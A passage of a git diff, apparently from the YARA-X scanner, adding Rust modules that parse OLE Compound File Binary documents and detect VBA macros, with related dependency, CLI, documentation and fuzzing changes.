lib/src/modules/vba/tests/testdata/1450fa0c4f5973ebf3efa06fb03259105065baba29690362014926583bc85f48.out create mode 100644 lib/src/modules/vba/tests/testdata/19c7a39db65917e120156f8dfa488c344eab9377c5875b87046b06dd580a91f1.in.zip create mode 100644 lib/src/modules/vba/tests/testdata/19c7a39db65917e120156f8dfa488c344eab9377c5875b87046b06dd580a91f1.out create mode 100644 lib/src/modules/vba/tests/testdata/643d1e3b68c1e31aef5779eb28ac3b0aaa284c91c47c26cfc2dbb3bc7f569103.in.zip create mode 100644 lib/src/modules/vba/tests/testdata/643d1e3b68c1e31aef5779eb28ac3b0aaa284c91c47c26cfc2dbb3bc7f569103.out create mode 100644 lib/src/modules/vba/tests/testdata/7972ee9287cfcce00dc23098dce4ea8ed32e2dff629342e5364a48cd9c01bcb8.in.zip create mode 100644 lib/src/modules/vba/tests/testdata/7972ee9287cfcce00dc23098dce4ea8ed32e2dff629342e5364a48cd9c01bcb8.out create mode 100644 lib/src/modules/vba/tests/testdata/7c1bfa4a65cbc5c914eb4df0676d92d89001e96ac2719e5459108c983f4eef73.in.zip create mode 100644 lib/src/modules/vba/tests/testdata/7c1bfa4a65cbc5c914eb4df0676d92d89001e96ac2719e5459108c983f4eef73.out create mode 100644 lib/src/modules/vba/tests/testdata/8d49551eaba3388c69538fde1ec51bb1528f6b029602b049a222bb2588487fc6.in.zip create mode 100644 lib/src/modules/vba/tests/testdata/8d49551eaba3388c69538fde1ec51bb1528f6b029602b049a222bb2588487fc6.out create mode 100644 lib/src/modules/vba/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.in.zip create mode 100644 lib/src/modules/vba/tests/testdata/8de0e0bba84e2f80c2e2b58b66224f0d3a780f44fbb04fcf7caae34b973eb766.out create mode 100644 lib/src/modules/vba/tests/testdata/9c2fc98de38f7f3642c2cca2da779ecc2a98351c3ff1d5722cc0f60bdd30e068.in.zip create mode 100644 lib/src/modules/vba/tests/testdata/9c2fc98de38f7f3642c2cca2da779ecc2a98351c3ff1d5722cc0f60bdd30e068.out create mode 100644 lib/src/modules/vba/tests/testdata/c62c12501055319db152f092e263f65da037c4a6f7ec0112832b95916ac8a1fb.in.zip create mode 100644 lib/src/modules/vba/tests/testdata/c62c12501055319db152f092e263f65da037c4a6f7ec0112832b95916ac8a1fb.out create mode 100644 lib/src/modules/vba/tests/testdata/e861196b3615e6c39c56e6fe704b832fe53c192752c554e28efb2c6157336101.in.zip create mode 100644 lib/src/modules/vba/tests/testdata/e861196b3615e6c39c56e6fe704b832fe53c192752c554e28efb2c6157336101.out delete mode 100644 test.yar diff --git a/Cargo.lock b/Cargo.lock index b42ae060..fdf015d6 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -512,6 +512,15 @@ dependencies = [ "thiserror 2.0.18", ] +[[package]] +name = "codepage" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48f68d061bc2828ae826206326e61251aca94c1e4a5305cf52d9138639c918b4" +dependencies = [ + "encoding_rs", +] + [[package]] name = "colorchoice" version = "1.0.4" @@ -4370,6 +4379,7 @@ dependencies = [ "bitflags 2.13.0", "bitvec", "bstr", + "codepage", "const-oid", "crc32fast", "criterion", @@ -4378,6 +4388,8 @@ dependencies = [ "digest", "dsa", "ecdsa", + "encoding_rs", + "flate2", "getrandom 0.2.17", "globwalk", "goldenfile", diff --git a/Cargo.toml b/Cargo.toml index c9f56498..bb749189 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -45,14 +45,17 @@ cbindgen = "0.29.4" chrono = "0.4.45" clap = "4.6.1" clap_complete = "4.6.5" +codepage = "0.1.2" const-oid = "0.9.6" crc32fast = "1.5.0" der-parser = "10.0.0" digest = "0.10.7" dsa = "0.6.3" ecdsa = "0.16.9" +encoding_rs = "0.8" env_logger = "0.11.10" figment = "0.10.19" +flate2 = "1.1.5" globwalk = "0.9.1" goldenfile = "1.11.0" getrandom = "0.2.17" diff --git a/cli/Cargo.toml b/cli/Cargo.toml index 885081ab..0bbedc2a 100644 --- a/cli/Cargo.toml +++ b/cli/Cargo.toml @@ -53,6 +53,7 @@ anyhow = { workspace = true } ascii_tree = { workspace = true } clap = { workspace = true, features = ["cargo", "derive"] } clap_complete = { workspace = true } +encoding_rs = { workspace = true } figment = { workspace = true, features = ["toml"] } globwalk = { workspace = true } home = { workspace = true } @@ -75,7 +76,6 @@ chardetng = "1.0.0" crossbeam = "0.8.4" crossterm = "0.29.0" dunce = "1.0.5" -encoding_rs = "0.8.35" indicatif = "0.18.4" unicode-width = "0.2.2" wild = "2.2.1" diff --git a/cli/src/commands/dump.rs b/cli/src/commands/dump.rs index 5a79732f..5e615c16 100644 --- a/cli/src/commands/dump.rs +++ b/cli/src/commands/dump.rs @@ -20,6 +20,8 @@ enum SupportedModules { Elf, Pe, Dotnet, + Olecf, + Vba, Crx, Dex, } @@ -119,6 +121,12 @@ pub fn exec_dump(args: &ArgMatches) -> anyhow::Result<()> { if !requested_modules.contains(&&SupportedModules::Dex) { module_output.dex = MessageField::none() } + if !requested_modules.contains(&&SupportedModules::Olecf) { + module_output.olecf = MessageField::none() + } + if !requested_modules.contains(&&SupportedModules::Vba) { + module_output.vba = MessageField::none() + } } else { // Module was not specified, only show those that produced meaningful // results, the rest are cleared out. @@ -145,6 +153,12 @@ pub fn exec_dump(args: &ArgMatches) -> anyhow::Result<()> { if !module_output.dex.is_dex() { module_output.dex = MessageField::none() } + if !module_output.olecf.is_olecf() { + module_output.olecf = MessageField::none() + } + if !module_output.vba.has_macros() { + module_output.vba = MessageField::none() + } } match output_format { diff --git a/lib/Cargo.toml b/lib/Cargo.toml index 7f4562e1..219e5ab1 100644 --- a/lib/Cargo.toml +++ b/lib/Cargo.toml @@ -209,6 +209,11 @@ magic-module = [ # The `math` module. math-module = [] +# The `olecf` module +olecf-module = [ + "dep:nom" +] + # The `pe` module parses PE files. pe-module = [ "crypto", @@ -227,6 +232,15 @@ test_proto3-module = [] # conditions of a rule to check against other epoch time. time-module = [] +# The `vba` module +vba-module = [ + "dep:codepage", + "dep:encoding_rs", + "dep:nom", + "dep:tinyzip", + "dep:flate2", +] + # The `vt` module is a VirusTotal-specific module that provides access to # the metadata that VirusTotal has about the scanned file. vt-module = [ @@ -235,7 +249,7 @@ vt-module = [ ] # The `zip` module provides container file extraction capabilities. -zip-module = ["dep:tinyzip"] +zip-module = ["dep:tinyzip", "dep:flate2"] # Enables all the default modules. default-modules = [ @@ -248,10 +262,12 @@ default-modules = [ "macho-module", "math-module", "hash-module", + "olecf-module", "pe-module", "string-module", "time-module", "lnk-module", + "vba-module", "test_proto2-module", "test_proto3-module", "vt-module", @@ -276,6 +292,7 @@ bincode = { workspace = true, features = ["serde"] } bitflags = { workspace = true, features = ["serde"] } bitvec = { workspace = true, features = ["serde"] } bstr = { workspace = true, features = ["serde"] } +codepage = { workspace = true, optional = true } const-oid = { workspace = true, optional = true, features = ["db"] } crc32fast = { workspace = true, optional = true } daachorse = { workspace = true } @@ -283,6 +300,8 @@ der-parser = { workspace = true, optional = true, features = ["bigint"] } digest = { workspace = true, optional = true } dsa = { workspace = true, optional = true } ecdsa = { workspace = true, optional = true } +encoding_rs = { workspace = true, optional = true } +flate2 = { workspace = true, optional = true } memmap2 = { workspace = true } indexmap = { workspace = true, features = ["serde"] } intaglio = { workspace = true } diff --git a/lib/fuzz/Cargo.toml b/lib/fuzz/Cargo.toml index bd8bfe7a..38ac86f7 100644 --- a/lib/fuzz/Cargo.toml +++ b/lib/fuzz/Cargo.toml @@ -47,6 +47,12 @@ path = "fuzz_targets/dotnet_parser.rs" test = false doc = false +[[bin]] +name = "vba_parser" +path = "fuzz_targets/vba_parser.rs" +test = false +doc = false + [[bin]] name = "crx_parser" path = "fuzz_targets/crx_parser.rs" diff --git a/lib/fuzz/fuzz_targets/vba_parser.rs b/lib/fuzz/fuzz_targets/vba_parser.rs new file mode 100644 index 00000000..343258f3 --- /dev/null +++ b/lib/fuzz/fuzz_targets/vba_parser.rs @@ -0,0 +1,6 @@ +#![no_main] +use libfuzzer_sys::fuzz_target; + +fuzz_target!(|data: &[u8]| { + let _ = yara_x::mods::invoke::(data); +}); diff --git a/lib/src/modules/add_modules.rs b/lib/src/modules/add_modules.rs new file mode 100644 index 00000000..292bf014 --- /dev/null +++ b/lib/src/modules/add_modules.rs @@ -0,0 +1,39 @@ +// File generated automatically by build.rs. Do not edit. +{ +#[cfg(feature = "console-module")] +add_module!(modules, "console", console, "console.Console", Some("console"), Some(console::__main__ as MainFn)); +#[cfg(feature = "cuckoo-module")] +add_module!(modules, "cuckoo", cuckoo, "cuckoo.Cuckoo", Some("cuckoo"), Some(cuckoo::__main__ as MainFn)); +#[cfg(feature = "dotnet-module")] +add_module!(modules, "dotnet", dotnet, "dotnet.Dotnet", Some("dotnet"), Some(dotnet::__main__ as MainFn)); +#[cfg(feature = "elf-module")] +add_module!(modules, "elf", elf, "elf.ELF", Some("elf"), Some(elf::__main__ as MainFn)); +#[cfg(feature = "hash-module")] +add_module!(modules, "hash", hash, "hash.Hash", Some("hash"), Some(hash::__main__ as MainFn)); +#[cfg(feature = "lnk-module")] +add_module!(modules, "lnk", lnk, "lnk.Lnk", Some("lnk"), Some(lnk::__main__ as MainFn)); +#[cfg(feature = "macho-module")] +add_module!(modules, "macho", macho, "macho.Macho", Some("macho"), Some(macho::__main__ as MainFn)); +#[cfg(feature = "magic-module")] +add_module!(modules, "magic", magic, "magic.Magic", Some("magic"), Some(magic::__main__ as MainFn)); +#[cfg(feature = "math-module")] +add_module!(modules, "math", math, "math.Math", Some("math"), Some(math::__main__ as MainFn)); +#[cfg(feature = "olecf-module")] +add_module!(modules, "olecf", olecf, "olecf.Olecf", Some("olecf"), Some(olecf::__main__ as MainFn)); +#[cfg(feature = "pe-module")] +add_module!(modules, "pe", pe, "pe.PE", Some("pe"), Some(pe::__main__ as MainFn)); +#[cfg(feature = "string-module")] +add_module!(modules, "string", string, "string.String", Some("string"), Some(string::__main__ as MainFn)); +#[cfg(feature = "test_proto2-module")] +add_module!(modules, "test_proto2", test_proto2, "test_proto2.TestProto2", Some("test_proto2"), Some(test_proto2::__main__ as MainFn)); +#[cfg(feature = "test_proto3-module")] +add_module!(modules, "test_proto3", test_proto3, "test_proto3.TestProto3", Some("test_proto3"), Some(test_proto3::__main__ as MainFn)); +#[cfg(feature = "text-module")] +add_module!(modules, "text", text, "text.Text", Some("text"), Some(text::__main__ as MainFn)); +#[cfg(feature = "time-module")] +add_module!(modules, "time", time, "time.Time", Some("time"), Some(time::__main__ as MainFn)); +#[cfg(feature = "vba-module")] +add_module!(modules, "vba", vba, "vba.Vba", Some("vba"), Some(vba::__main__ as MainFn)); +#[cfg(feature = "vt-module")] +add_module!(modules, "vt", titan, "vt.titan.LiveHuntData", Some("vt"), Some(vt::__main__ as MainFn)); +} \ No newline at end of file diff --git a/lib/src/modules/field_docs.rs b/lib/src/modules/field_docs.rs index d29d6317..7edc6d01 100644 --- a/lib/src/modules/field_docs.rs +++ b/lib/src/modules/field_docs.rs @@ -343,6 +343,8 @@ pub const FIELD_DOCS: &[(&str, u64, &str)] = &[ ("macho.Symtab", 4, "Size in bytes of the string table."), ("macho.Symtab", 5, "Individual entries stored in the table."), ("macho.Symtab", 6, "Descriptive nlist entries for symbols."), + ("olecf.Olecf", 1, "True if file is an OLE CF file."), + ("olecf.Olecf", 2, "Streams contained in the OLE CF file."), ("pe.Certificate", 1, "Issuer of this individual certificate."), ("pe.Certificate", 2, "Intended subject of this certificate."), ("pe.Certificate", 3, "Thumbprint identifying the certificate."), @@ -505,4 +507,6 @@ pub const FIELD_DOCS: &[(&str, u64, &str)] = &[ ("test_proto2.TestProto2", 500, "This field is accessible only if the features \"foo\" (or \"FOO\") and \"bar\" are enabled while compiling the YARA rules."), ("test_proto2.TestProto2", 502, "The metadata received by the module is copied into this field."), + ("vba.Vba", 1, "True if VBA macros are present"), + ("vba.Vba", 2, "VBA macro modules found"), ]; diff --git a/lib/src/modules/mod.rs b/lib/src/modules/mod.rs index 67c96d54..c5038da1 100644 --- a/lib/src/modules/mod.rs +++ b/lib/src/modules/mod.rs @@ -15,6 +15,7 @@ pub mod protos { mod tests; pub(crate) mod field_docs; +pub(crate) mod utils; include!("modules.rs"); @@ -40,6 +41,8 @@ pub enum ModuleError { #[derive(Default)] pub struct ModuleContext<'a> { module_metadata: FxHashMap<&'static str, &'a [u8]>, + #[cfg(any(feature = "zip-module", feature = "vba-module"))] + pub(crate) zip_cache: Option>, } impl<'a> ModuleContext<'a> { @@ -255,6 +258,24 @@ pub mod mods { /// Data structure returned by the `macho` module. pub use super::protos::macho::Macho; + /// Data structures defined by the `olecf` module. + /// + /// The main structure produced by the module is [`olecf:Olecf`]. The rest + /// of them are used by one or more fields in the main structure. + /// + pub use super::protos::olecf; + /// Data structure returned by the `olecf` module. + pub use super::protos::olecf::Olecf; + + /// Data structures defined by the `vba` module. + /// + /// The main structure produced by the module is [`vba::Vba`]. The rest + /// of them are used by one or more fields in the main structure. + /// + pub use super::protos::vba; + /// Data structure returned by the `macho` module. + pub use super::protos::vba::Vba; + /// Data structures defined by the `pe` module. /// /// The main structure produced by the module is [`pe::PE`]. The rest @@ -354,6 +375,8 @@ pub mod mods { info.dotnet = protobuf::MessageField(invoke::(data)); info.macho = protobuf::MessageField(invoke::(data)); info.lnk = protobuf::MessageField(invoke::(data)); + info.olecf = protobuf::MessageField(invoke::(data)); + info.vba = protobuf::MessageField(invoke::(data)); info.crx = protobuf::MessageField(invoke::(data)); info.dex = protobuf::MessageField(invoke::(data)); info @@ -587,6 +610,3 @@ pub mod mods { } } } - -#[cfg(feature = "crypto")] -pub(crate) mod utils; diff --git a/lib/src/modules/modules.rs b/lib/src/modules/modules.rs index 76a1d162..23c7f4bd 100644 --- a/lib/src/modules/modules.rs +++ b/lib/src/modules/modules.rs @@ -21,6 +21,8 @@ mod macho; mod magic; #[cfg(feature = "math-module")] mod math; +#[cfg(feature = "olecf-module")] +mod olecf; #[cfg(feature = "pe-module")] mod pe; #[cfg(feature = "string-module")] @@ -31,6 +33,8 @@ mod test_proto2; mod test_proto3; #[cfg(feature = "time-module")] mod time; +#[cfg(feature = "vba-module")] +mod vba; #[cfg(feature = "vt-module")] mod vt; #[cfg(feature = "zip-module")] diff --git a/lib/src/modules/olecf/mod.rs b/lib/src/modules/olecf/mod.rs new file mode 100644 index 00000000..659ec289 --- /dev/null +++ b/lib/src/modules/olecf/mod.rs @@ -0,0 +1,48 @@ +/*! YARA module that parses OLE Compound File Binary Format files. + +The OLE CF format (also known as Compound File Binary Format or CFBF) is a +container format used by many Microsoft file formats including DOC, XLS, PPT, +and MSI. This module specializes in parsing OLE CF files and extracting +metadata about their structure and contents. + +Read more about the Compound File Binary File format here: +https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-cfb/53989ce4-7b05-4f8d-829b-d08d6148375b +*/ + +use crate::errors::ModuleError; +use crate::mods::prelude::*; +use crate::modules::protos::olecf::*; + +pub mod parser; + +fn main(_ctx: &mut ModuleContext, data: &[u8]) -> Result { + let mut olecf = Olecf::new(); + + match parser::OLECFParser::new(data) { + Ok(parser) => { + olecf.set_is_olecf(parser.is_valid_header()); + olecf.streams = parser + .get_streams() + .map(|(name, entry)| { + let mut s = Stream::new(); + s.set_name(name.to_string()); + s.set_size(entry.size); + s.set_type(match entry.stream_type { + 1 => StreamType::STORAGE, + 2 => StreamType::STREAM, + 5 => StreamType::ROOT, + _ => StreamType::UNKNOWN, + }); + s + }) + .collect(); + } + Err(_) => { + olecf.set_is_olecf(false); + } + } + + Ok(olecf) +} + +register_module!("olecf", Olecf, main); diff --git a/lib/src/modules/olecf/parser.rs b/lib/src/modules/olecf/parser.rs new file mode 100644 index 00000000..75f82567 --- /dev/null +++ b/lib/src/modules/olecf/parser.rs @@ -0,0 +1,582 @@ +use indexmap::IndexMap; +use nom::{ + IResult, Parser, + bytes::complete::take, + combinator::verify, + error::{Error as NomError, ErrorKind}, + multi::count, + number::complete::{le_u16, le_u32}, +}; + +const OLECF_SIGNATURE: &[u8] = + &[0xD0, 0xCF, 0x11, 0xE0, 0xA1, 0xB1, 0x1A, 0xE1]; +const SECTOR_SHIFT: u16 = 9; +const MINI_SECTOR_SHIFT: u16 = 6; +const DIRECTORY_ENTRY_SIZE: u64 = 128; +const MAX_STREAM_SIZE: u64 = 256 * 1024 * 1024; + +// Directory Entry Types +const STORAGE_TYPE: u8 = 1; +const STREAM_TYPE: u8 = 2; +const ROOT_STORAGE_TYPE: u8 = 5; + +// Special sectors +const ENDOFCHAIN: u32 = 0xFFFFFFFE; +const FREESECT: u32 = 0xFFFFFFFF; +const MAX_REGULAR_SECTOR: u32 = 0xFFFFFFFA; + +pub struct OLECFParser<'a> { + data: &'a [u8], + sector_size: usize, + mini_sector_size: usize, + fat_sectors: Vec, + directory_sectors: Vec, + mini_fat_sectors: Vec, + dir_entries: IndexMap, + mini_stream_start: u32, + mini_stream_size: u64, +} + +pub struct DirectoryEntry { + pub name: String, + pub size: u64, + pub start_sector: u32, + pub stream_type: u8, +} + +impl<'a> OLECFParser<'a> { + pub fn new(data: &'a [u8]) -> Result { + let mut parser = OLECFParser { + data, + sector_size: 1 << SECTOR_SHIFT, + mini_sector_size: 1 << MINI_SECTOR_SHIFT, + fat_sectors: Vec::new(), + directory_sectors: Vec::new(), + mini_fat_sectors: Vec::new(), + dir_entries: IndexMap::new(), + mini_stream_start: 0, + mini_stream_size: 0, + }; + + match parser.parse(data) { + Ok((_rest, ())) => Ok(parser), + Err(_) => Err("Failed to parse OLECF data"), + } + } + + fn parse(&mut self, input: &'a [u8]) -> IResult<&'a [u8], ()> { + // (A) Check the 8-byte OLECF signature. + let (input, _) = + verify(take(8_usize), |sig: &[u8]| sig == OLECF_SIGNATURE) + .parse(input)?; + + // (B) Parse the rest of the header fields. + let (input, ()) = self.parse_header(input)?; + + // (C) Parse the directory chain. + let (input, ()) = self.parse_directory(input)?; + + Ok((input, ())) + } + + fn parse_header(&mut self, input: &'a [u8]) -> IResult<&'a [u8], ()> { + let ( + mut input, + ( + _skip_20, + byte_order, + _skip_14, + num_fat_sectors, + first_dir_sector, + _skip_8, + first_mini_fat, + mini_fat_count, + first_difat_sector, + difat_count, + ), + ) = ( + take(20usize), // skip 20 bytes + le_u16, // parse byte_order + take(14usize), // skip 14 bytes + le_u32, // parse num_fat_sectors + le_u32, // parse first_dir_sector + take(8usize), // skip 8 bytes + le_u32, // parse first_mini_fat + le_u32, // parse mini_fat_count + le_u32, // parse first_difat_sector + le_u32, // parse difat_count + ) + .parse(input)?; + + // (A) Verify `byte_order == 0xFFFE`. + if byte_order != 0xFFFE { + return Err(nom::Err::Error(NomError::new( + input, + ErrorKind::Verify, + ))); + } + + // (B) Parse up to 109 DIFAT entries from `input` + // 109 is the max allowed number of DIFAT entries in the header. + let rest = input; + if rest.len() < 109 * 4 { + let possible = rest.len() / 4; + let (rest2, entries) = count(le_u32, possible).parse(rest)?; + let mut filtered = entries + .into_iter() + .filter(|&x| x < MAX_REGULAR_SECTOR) + .collect::>(); + self.fat_sectors.append(&mut filtered); + input = rest2; + } else { + let (rest2, entries) = count(le_u32, 109).parse(rest)?; + let mut filtered = entries + .into_iter() + .filter(|&x| x < MAX_REGULAR_SECTOR) + .collect::>(); + self.fat_sectors.append(&mut filtered); + input = rest2; + } + + // Follow the DIFAT chain if present. + let mut next_difat_sector = first_difat_sector; + let entries_per_sector = self.sector_size / 4; + + // Bound fat_sectors to what a file of this size can legitimately need. + let max_fat_sectors = + (self.data.len() / self.sector_size / entries_per_sector) + 2; + + let mut visited_difat = std::collections::HashSet::new(); + + for _ in 0..difat_count { + if next_difat_sector >= MAX_REGULAR_SECTOR + || next_difat_sector == ENDOFCHAIN + { + break; + } + + // Stop if this DIFAT sector was already processed (cycle detection). + if !visited_difat.insert(next_difat_sector) { + break; + } + + let sector_data = match self.read_sector(next_difat_sector) { + Ok(data) => data, + Err(_) => break, + }; + + // The first (entries_per_sector - 1) entries point to FAT sectors + for i in 0..(entries_per_sector - 1) { + if self.fat_sectors.len() >= max_fat_sectors { + break; + } + let fat_sec = match parse_u32_at(sector_data, i * 4) { + Ok(sec) => sec, + Err(_) => break, + }; + if fat_sec < MAX_REGULAR_SECTOR { + self.fat_sectors.push(fat_sec); + } + } + + if self.fat_sectors.len() >= max_fat_sectors { + break; + } + + // The last entry points to the next DIFAT sector + next_difat_sector = match parse_u32_at( + sector_data, + (entries_per_sector - 1) * 4, + ) { + Ok(sec) => sec, + Err(_) => break, + }; + } + + // (C) Directory chain + if first_dir_sector < MAX_REGULAR_SECTOR { + self.directory_sectors = self.follow_chain(first_dir_sector); + } else { + return Err(nom::Err::Error(NomError::new( + input, + ErrorKind::Verify, + ))); + } + + // (D) MiniFAT chain + if mini_fat_count > 0 && first_mini_fat < MAX_REGULAR_SECTOR { + self.mini_fat_sectors = self.follow_chain(first_mini_fat); + } + + // (E) If no FAT sectors but num_fat_sectors != 0 => error + if self.fat_sectors.is_empty() && num_fat_sectors > 0 { + return Err(nom::Err::Error(NomError::new( + input, + ErrorKind::Verify, + ))); + } + + Ok((input, ())) + } + + fn parse_directory(&mut self, _input: &'a [u8]) -> IResult<&'a [u8], ()> { + if self.directory_sectors.is_empty() { + return Err(nom::Err::Error(NomError::new( + _input, + ErrorKind::Verify, + ))); + } + + for §or in &self.directory_sectors { + let mut entry_offset = 0u64; + + while entry_offset + DIRECTORY_ENTRY_SIZE + <= self.sector_size as u64 + { + let abs_offset = + self.sector_to_offset(sector).saturating_add(entry_offset); + + if abs_offset.saturating_add(DIRECTORY_ENTRY_SIZE) + > self.data.len() as u64 + { + break; + } + + if let Ok(entry) = + self.read_directory_entry(abs_offset as usize) + { + if entry.stream_type == ROOT_STORAGE_TYPE { + self.mini_stream_start = entry.start_sector; + self.mini_stream_size = entry.size; + } + if entry.stream_type == STORAGE_TYPE + || entry.stream_type == STREAM_TYPE + || entry.stream_type == ROOT_STORAGE_TYPE + { + let overwrite = match self.dir_entries.get(&entry.name) { + Some(existing) => { + entry.stream_type == STREAM_TYPE + || existing.stream_type != STREAM_TYPE + } + None => true, + }; + if overwrite { + self.dir_entries.insert(entry.name.clone(), entry); + } + } + } + entry_offset += DIRECTORY_ENTRY_SIZE; + } + } + + Ok((_input, ())) + } + + pub fn is_valid_header(&self) -> bool { + self.data.len() >= OLECF_SIGNATURE.len() + && &self.data[..OLECF_SIGNATURE.len()] == OLECF_SIGNATURE + } + + pub fn get_stream_names(&self) -> Result, &'static str> { + if self.dir_entries.is_empty() { + return Err("No streams found"); + } + Ok(self.dir_entries.keys().cloned().collect()) + } + + pub fn get_streams( + &self, + ) -> impl Iterator { + self.dir_entries.iter().map(|(k, v)| (k.as_str(), v)) + } + + pub fn get_stream_size( + &self, + stream_name: &str, + ) -> Result { + self.dir_entries + .get(stream_name) + .map(|e| e.size) + .ok_or("Stream not found") + } + + pub fn get_stream_data( + &self, + stream_name: &str, + ) -> Result, &'static str> { + let entry = + self.dir_entries.get(stream_name).ok_or("Stream not found")?; + + if entry.size < 4096 && entry.stream_type != ROOT_STORAGE_TYPE { + self.get_mini_stream_data(entry.start_sector, entry.size) + } else { + self.get_regular_stream_data(entry.start_sector, entry.size) + } + } + + fn sector_to_offset(&self, sector: u32) -> u64 { + // The first sector begins at byte offset 512. The theoretical maximum + // offset for a v3 OLE file (512-byte sectors, max sector number + // 0xFFFFFFF9) is ~2 TB, so the result must be u64 — it does not fit + // in a 32-bit usize on 32-bit targets. + 512u64 + sector as u64 * self.sector_size as u64 + } + + fn read_sector(&self, sector: u32) -> Result<&'a [u8], &'static str> { + let offset = self.sector_to_offset(sector); + // Narrow to usize for slice indexing; any offset that doesn't fit in + // usize is necessarily beyond the in-memory data slice. + let offset = usize::try_from(offset) + .map_err(|_| "Sector offset exceeds address space")?; + if offset + self.sector_size > self.data.len() { + return Err("Sector read out of bounds"); + } + Ok(&self.data[offset..offset + self.sector_size]) + } + + fn get_fat_entry(&self, sector: u32) -> Result { + let entry_index = sector as usize; + let entries_per_sector = self.sector_size / 4; + let fat_sector_index = entry_index / entries_per_sector; + if fat_sector_index >= self.fat_sectors.len() { + return Err("FAT entry sector index out of range"); + } + let fat_sector = self.fat_sectors[fat_sector_index]; + let fat = self.read_sector(fat_sector)?; + let fat_entry_offset = (entry_index % entries_per_sector) * 4; + parse_u32_at(fat, fat_entry_offset) + } + + fn follow_chain(&self, start_sector: u32) -> Vec { + let mut chain = Vec::new(); + if start_sector >= MAX_REGULAR_SECTOR { + return chain; + } + + let mut current = start_sector; + while current < MAX_REGULAR_SECTOR { + // Prevent cycles by keeping track of visited sectors + if chain.contains(¤t) { + // We've seen this sector before - it's a cycle + break; + } + + chain.push(current); + + let next = match self.get_fat_entry(current) { + Ok(n) => n, + Err(_) => break, + }; + + // Check validity of next sector + if next >= MAX_REGULAR_SECTOR + || next == FREESECT + || next == ENDOFCHAIN + { + break; + } + + current = next; + } + chain + } + + fn read_directory_entry( + &self, + offset: usize, + ) -> Result { + if offset + 128 > self.data.len() { + return Err("Incomplete directory entry"); + } + + let name_len = parse_u16_at(self.data, offset + 64)? as usize; + if !(2..=64).contains(&name_len) { + return Err("Invalid name length"); + } + + let name_bytes = &self.data[offset..offset + name_len]; + + // The name length stored is in bytes (including the null terminator). + // Since it is UTF-16 LE, each character takes 2 bytes. + // The length of units should exclude the trailing null character (2 bytes). + let name_units_len = (name_len / 2).saturating_sub(1); + let mut utf16_units = Vec::with_capacity(name_units_len); + for i in 0..name_units_len { + let unit = parse_u16_at(name_bytes, i * 2)?; + utf16_units.push(unit); + } + + let mut name = String::from_utf16(&utf16_units) + .map_err(|_| "Invalid UTF-16 stream name")?; + + // According to Microsoft OLE Compound File Binary Format specifications, + // standard system streams are prefixed with leading control bytes: + // - U+0005 (e.g., \u{0005}SummaryInformation, \u{0005}DocumentSummaryInformation) + // defined in [MS-OLEPS] Section 2.21. + // - U+0001 (e.g., \u{0001}CompObj, \u{0001}Ole) + // defined in standard OLE Compound Document specs for system streams. + // + // We strip these leading control characters (values < '\u{20}') to + // prevent control characters from breaking standard JSON/YAML + // serializers. + if name.starts_with(|c: char| c < '\u{20}') { + name.remove(0); + } + + let stream_type = self.data[offset + 66]; + let start_sector = parse_u32_at(self.data, offset + 116)?; + let size_32 = parse_u32_at(self.data, offset + 120)?; + let size = size_32 as u64; + + Ok(DirectoryEntry { name, size, start_sector, stream_type }) + } + + fn get_regular_stream_data( + &self, + start_sector: u32, + size: u64, + ) -> Result, &'static str> { + if size > MAX_STREAM_SIZE { + return Err("Stream size exceeds maximum allowed size"); + } + + let mut data = Vec::with_capacity(size as usize); + let mut current_sector = start_sector; + let mut total_read = 0; + + while current_sector < MAX_REGULAR_SECTOR && total_read < size as usize + { + let sector_data = self.read_sector(current_sector)?; + let bytes_to_read = + std::cmp::min(self.sector_size, size as usize - total_read); + + data.extend_from_slice(§or_data[..bytes_to_read]); + total_read += bytes_to_read; + + if total_read < size as usize { + let next = self.get_fat_entry(current_sector)?; + if next == ENDOFCHAIN || next >= MAX_REGULAR_SECTOR { + break; + } + current_sector = next; + } + } + + if data.len() != size as usize { + return Err("Incomplete stream data"); + } + + Ok(data) + } + + fn get_root_mini_stream_data(&self) -> Result, &'static str> { + self.get_regular_stream_data( + self.mini_stream_start, + self.mini_stream_size, + ) + } + + fn get_minifat_entry( + &self, + mini_sector: u32, + ) -> Result { + if self.mini_fat_sectors.is_empty() { + return Ok(ENDOFCHAIN); + } + + let entry_index = mini_sector as usize; + let entries_per_sector = self.sector_size / 4; + let fat_sector_index = entry_index / entries_per_sector; + if fat_sector_index >= self.mini_fat_sectors.len() { + return Ok(ENDOFCHAIN); + } + let sector = self.mini_fat_sectors[fat_sector_index]; + let fat = self.read_sector(sector)?; + let offset = (entry_index % entries_per_sector) * 4; + parse_u32_at(fat, offset) + } + + fn get_mini_stream_data( + &self, + start_mini_sector: u32, + size: u64, + ) -> Result, &'static str> { + if size > MAX_STREAM_SIZE { + return Err("Stream size exceeds maximum allowed size"); + } + + if self.mini_stream_size == 0 { + return Err("No mini stream present"); + } + + let mini_stream_data = self.get_root_mini_stream_data()?; + let mini_data_len = mini_stream_data.len(); + + let mut data = Vec::with_capacity(size as usize); + let mut current = start_mini_sector; + let mut visited = Vec::new(); + + while current < MAX_REGULAR_SECTOR && data.len() < size as usize { + if visited.contains(¤t) { + return Err("Circular reference detected in MiniFAT chain"); + } + visited.push(current); + + let mini_offset = + usize::try_from(current as u64 * self.mini_sector_size as u64) + .map_err(|_| "Mini sector offset exceeds address space")?; + + if mini_offset >= mini_data_len { + return Err("Mini stream offset out of range"); + } + + let bytes_to_read = std::cmp::min( + self.mini_sector_size, + size as usize - data.len(), + ); + if mini_offset + bytes_to_read > mini_data_len { + return Err("Mini stream extends beyond available data"); + } + + data.extend_from_slice( + &mini_stream_data[mini_offset..mini_offset + bytes_to_read], + ); + + if data.len() < size as usize { + let next = self.get_minifat_entry(current)?; + if next == ENDOFCHAIN || next >= MAX_REGULAR_SECTOR { + break; + } + current = next; + } + } + + if data.len() != size as usize { + return Err("Incomplete mini stream data"); + } + + Ok(data) + } +} + +fn parse_u16_at(data: &[u8], offset: usize) -> Result { + if offset + 2 > data.len() { + return Err("Buffer too small for u16"); + } + let slice = &data[offset..offset + 2]; + match le_u16::<&[u8], NomError<&[u8]>>(slice) { + Ok((_, val)) => Ok(val), + Err(_) => Err("Failed to parse u16"), + } +} + +fn parse_u32_at(data: &[u8], offset: usize) -> Result { + if offset + 4 > data.len() { + return Err("Buffer too small for u32"); + } + let 